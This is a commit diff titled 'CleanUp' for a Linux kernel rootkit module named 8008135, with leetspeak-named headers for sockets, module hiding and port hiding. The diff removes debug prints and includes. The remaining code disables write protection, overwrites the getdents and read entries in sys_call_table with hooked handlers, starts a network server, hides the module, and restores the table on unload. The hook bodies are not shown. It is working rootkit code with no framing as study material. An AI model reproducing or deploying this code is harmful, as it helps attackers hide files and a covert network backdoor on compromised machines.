CleanUp

src/8008135.c

@@ -22,11 +22,6 @@
 /**** includes *****************************************************************
 *******************************************************************************/
 #include "8008135.h"
-#include "50ck3t.h"
-#include "637d3n75.h"
-#include "h1d3m0dul3.h"
-#include "h1d3p0r7.h"
-#include "p463unpr073c7.h"
 
 /*******************************************************************************/
 
@@ -37,48 +32,39 @@
 *       RETURNS:  int
 *******************************************************************************/
 static int __init init_8008135(void) {
-	printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table);
-	
 
-	sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM];
+	sys_getdents_orig = (sys_getdents_ptr)((void**)sys_call_table)[__NR_getdents];
-	
+	sys_read_orig	  = (sys_read_ptr)((void**)sys_call_table)[__NR_read];
-	printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig);
 
-	// turn write protect off
 	wprotectionoff();
-	
-	// add our new handlers
-	sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;
-	
-	orig_read = (read_ptr)sys_call_table[__NR_read];
-	
-	sys_call_table[READ_SYSCALL_NUM] = (unsigned long) hacked_read;
 
-	// turn write protect back on
+	sys_call_table[__NR_getdents] = sys_getdents_new;
+	sys_call_table[__NR_read]     = sys_read_fake;
+
 	wprotectionon();
 
-	printk(KERN_INFO "New syscall in place\n");
 	network_server_init();
 	hide_module();
-	printk(KERN_INFO "Module hidden");
 	
 	return 0;
 }
 
 /***  FUNCTION  ****************************************************************
 *          NAME:  8008135_exit
-*   DESCRIPTION:  unloading Kernel Module
+*   DESCRIPTION:  unloading Kernel Module, restoring the original system call table
 *    PARAMETERS:  -
 *       RETURNS:  -
 *******************************************************************************/
 static void __exit exit_8008135(void) {
+
 	network_server_exit();
+
 	wprotectionoff();
-	sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig;
+
-	sys_call_table[READ_SYSCALL_NUM] = (unsigned long) orig_read;
+	sys_call_table[__NR_getdents] = sys_getdents_orig;
-	// turn write protect back on
+	sys_call_table[__NR_read] 	  = sys_read_orig;
+
 	wprotectionon();
-	printk(KERN_INFO "Old syscall back\n");
 }
 
 /*******************************************************************************/